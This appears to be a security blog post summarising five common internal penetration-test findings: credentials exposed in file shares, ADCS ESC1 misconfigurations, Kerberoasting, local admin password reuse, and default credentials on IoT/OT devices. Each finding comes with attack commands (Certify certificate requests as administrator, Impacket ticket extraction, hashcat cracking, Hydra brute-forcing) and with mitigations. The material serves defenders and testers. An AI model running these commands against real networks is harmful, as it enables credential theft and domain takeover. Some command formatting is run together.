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Introduction:
The cybersecurity industry is currently mesmerized by the dazzling threat of AI prompt injections and the complexities of Large Language Models (LLMs). However, frontline data from thousands of hours of internal penetration tests in 2025 reveals a sobering truth: the “crown jewels” are still being lost due to the same architectural failures that haunted us a decade ago. While the attack surface has exploded into cloud hybrids and IoT/OT convergences, the core vulnerabilities remain a toxic mix of credential hygiene issues and Active Directory Certificate Services (ADCS) misconfigurations. As we move toward 2026, the industry faces a paradox—investing heavily in AI defense while leaving the digital front door unlocked with reused local admin passwords.
Learning Objectives:
- Analyze the disconnect between modern attack surface expansion and the persistence of legacy network vulnerabilities.
- Identify the top five critical findings from recent internal penetration tests, including ADCS escalation paths and Kerberoasting.
- Execute practical detection and mitigation commands for exposed credentials and misconfigured services in both Linux and Windows environments.
You Should Know:
- The Eternal Plague: Exposed Credentials in File Shares
Despite the shift to the cloud, internal file shares remain a treasure trove for attackers. Tools like `Snaffler` are used by red teams to automatically classify and find interesting files (like.kdbx,.config, or.env) containing passwords scattered across network shares. This isn’t a sophisticated exploit; it’s a failure of data governance.
Step‑by‑step guide to simulating discovery and remediation:
- Simulated Discovery (Linux – using Snaffler via Docker):
While Snaffler is a .NET tool, you can run it in a Windows VM. For a Linux-based assessment of an SMB share, you might use `smbclient` andgrep.Mount a Windows share (if permitted) sudo mount -t cifs //TARGET-SERVER/C$ /mnt/share -o username=YOURDOMAIN\youruser Search for common credential patterns grep -rin --include=".{config,ini,txt,ps1,xml}" "password|pwd|secret" /mnt/share/ - Windows Discovery (PowerShell):
Get-ChildItem -Path "\fileserver\share\" -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password", "pwd", "connectionString" -CaseSensitive:$false | Select-Object Filename, LineNumber, Line
- What this does: It simulates an attacker scraping for credentials. The output reveals hardcoded passwords in scripts or config files.
- Mitigation: Implement Microsoft Purview Information Protection or classify data sensitivity to restrict who can access shares containing credentials. Use Windows File Server Resource Manager (FSRM) to block saving files with “password” in the filename.
2. ADCS: The “Cheat Code” to Domain Admin
Active Directory Certificate Services (ADCS) misconfigurations, specifically the ESC1, ESC2, and ESC3 attack vectors, allow a standard user to request a certificate template that permits authentication as a Domain Admin. This exploits the trust relationship between certificates and Kerberos.
Step‑by‑step guide to identifying ESC1 (using Certify):
- Enumerate vulnerable templates (Windows – attacker perspective):
Using Certify.exe (run as low-privilege domain user) .\Certify.exe find /vulnerable
Look for output indicating a template allows `ENROLLEE_SUPPLIES_SUBJECT` (meaning the user can request a cert for another user, like Administrator) and has the `Client Authentication` EKU.
- Exploitation Request:
Once a vulnerable CA is identified, the request is made:.\Certify.exe request /ca:DC01.domain.com\CA-NAME /template:VULN-TEMPLATE /altname:administrator
- Mitigation Commands (Windows – PKI Admin):
Disable the dangerous template settings or restrict enrollment rights.List Certificate Templates using PowerShell Get-CATemplate | Where-Object {$_.Name -eq "VULNERABLE-TEMPLATE"} | Disable-CATemplate Or modify the template using ADSI Edit or certtmpl.msc Specifically, uncheck "Supply in the request" (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
3. Kerberoasting: Hunting High-Privilege Service Accounts
Kerberoasting remains effective because service accounts are often configured with weak, crackable passwords and high privileges. Any domain user can request a Kerberos ticket for any service, and the service’s NTLM hash is embedded in the encrypted part of the ticket, which can be brute-forced offline.
Step‑by‑step guide to extraction and cracking:
- Ticket Extraction (Linux – Impacket):
Request a TGS for the service account (e.g., MSSQL service) impacket-GetUserSPNs -request -dc-ip 192.168.1.10 domain.com/username:password This returns a hash formatted for Hashcat (Kerberos 5 TGS-REP etype 23)
- Ticket Extraction (Windows – PowerShell):
Using PowerView:
Find SPNs Get-DomainUser -SPN | select name, samaccountname Request TGS for a specific user Request-SPNTicket -SPN "MSSQLSvc/SQL01.domain.com" -Format Hashcat
– Cracking the Hash (Linux):
hashcat -m 13100 -a 0 kerberoast.hash /usr/share/wordlists/rockyou.txt
– Mitigation: Use Group Managed Service Accounts (gMSAs) which have automatic password rotation and are not subject to Kerberoasting. If gMSAs are impossible, enforce long (>30 character) random passwords for service accounts.
4. The Local Admin Reuse Epidemic
Attackers use tools like `mimikatz` to extract plaintext passwords or hashes from LSASS memory on one compromised workstation. If the local admin password is identical across the fleet, that credential opens every other machine, including servers.
Step‑by‑step guide to auditing local admin consistency:
- Audit with PowerShell (Windows):
Use the `LocalAccounts` module to list local users, but to check for reuse, you need to check the hash. This is sensitive; instead, check for consistent SID history.Enumerate local administrators on a remote machine Invoke-Command -ComputerName PC001 -ScriptBlock {Get-LocalGroupMember -Group "Administrators"} - Mitigation – Microsoft LAPS (Local Administrator Password Solution):
LAPS automatically manages the password of the local administrator account on domain-joined computers, storing it in Active Directory with periodic rotation.After LAPS deployment, read the password for a machine Get-ADComputer PC001 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
- Linux Analogy: For Linux environments, similar reuse occurs with SSH keys or sudo passwords. Tools like `Ansible` can be used to audit `sudoers` files, but for password reuse, a central identity provider (SSSD/LDAP) should be used to eliminate local accounts entirely.
5. Weak/Default Passwords on Critical Systems
Medical Tech (IoMT) and OT systems often ship with default credentials like `admin:admin` or factory:default. These systems are frequently un-patchable due to vendor restrictions and sit flat on the network.
Step‑by‑step guide to safe validation:
- Network Discovery (Nmap – Linux):
Scan for devices on the OT/IoT subnet and attempt to identify default banners.Scan for web interfaces on port 80/443/8080 and grab banners nmap -sV -p 80,443,8080,8443 192.168.100.0/24 --script http-default-accounts Check for specific industrial protocols (e.g., Modbus) nmap -p 502 --script modbus-discover 192.168.100.100
- Credential Testing (Hydra – Linux – USE ONLY IN AUTHORIZED TESTS):
hydra -l admin -P /usr/share/wordlists/fasttrack.txt 192.168.100.100 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
- Mitigation: Network segmentation (VLANs) is the primary defense. Create strict firewall rules (ACLs) between the OT/IoT zone and the corporate/user zone. Implement 802.1X network access control to authenticate devices before they are granted network access.
What Undercode Say:
- Key Takeaway 1: The “Old Guard” isn’t failing because the techniques are old; it’s failing because we treat security as a compliance checkbox (a snapshot) rather than a continuous hygiene process (a flow). The PDF report is dead the moment the CI/CD pipeline commits new code.
- Key Takeaway 2: AI is a threat multiplier, but it is not the root cause. We are “fighting the last war” if we focus on AI injection while ignoring ADCS. The attackers are currently using AI to automate the discovery of these classic misconfigurations faster, not to find novel zero-days.
- Analysis: The data from 1,000 hours of pentests is a referendum on operational discipline. Organizations are spending millions on next-gen SIEMs and AI defense, yet they cannot fix local admin reuse. This suggests a cultural problem where foundational security is deemed “boring” and lacks the budget priority of “exciting” AI threats. We are not getting safer; we are simply getting better at finding the same five problems in more expensive clouds. The shift must be toward “resilience testing”—chaos engineering for security—where we assume breach and test how fast we can detect and eject an attacker using these classic TTPs, rather than just counting bugs.
Prediction:
By 2026, the breach that makes headlines won’t be caused by a sophisticated LLM hallucination exploit, but by an attacker chaining an exposed `.env` file in a public S3 bucket to an ADCS ESC1 misconfiguration. The market will see a resurgence of “Cyber Hygiene” platforms that automate the remediation of these top five findings, as AI-based threat detection proves ineffective against an adversary already authenticated with a valid certificate. The role of the pentester will evolve from finding “bugs” to validating “blast radius” and recovery time, shifting the metric from “vulnerabilities found” to “time to contain a real-world attack chain.”
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Reported By: Johannes Sch%C3%B6nborn – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
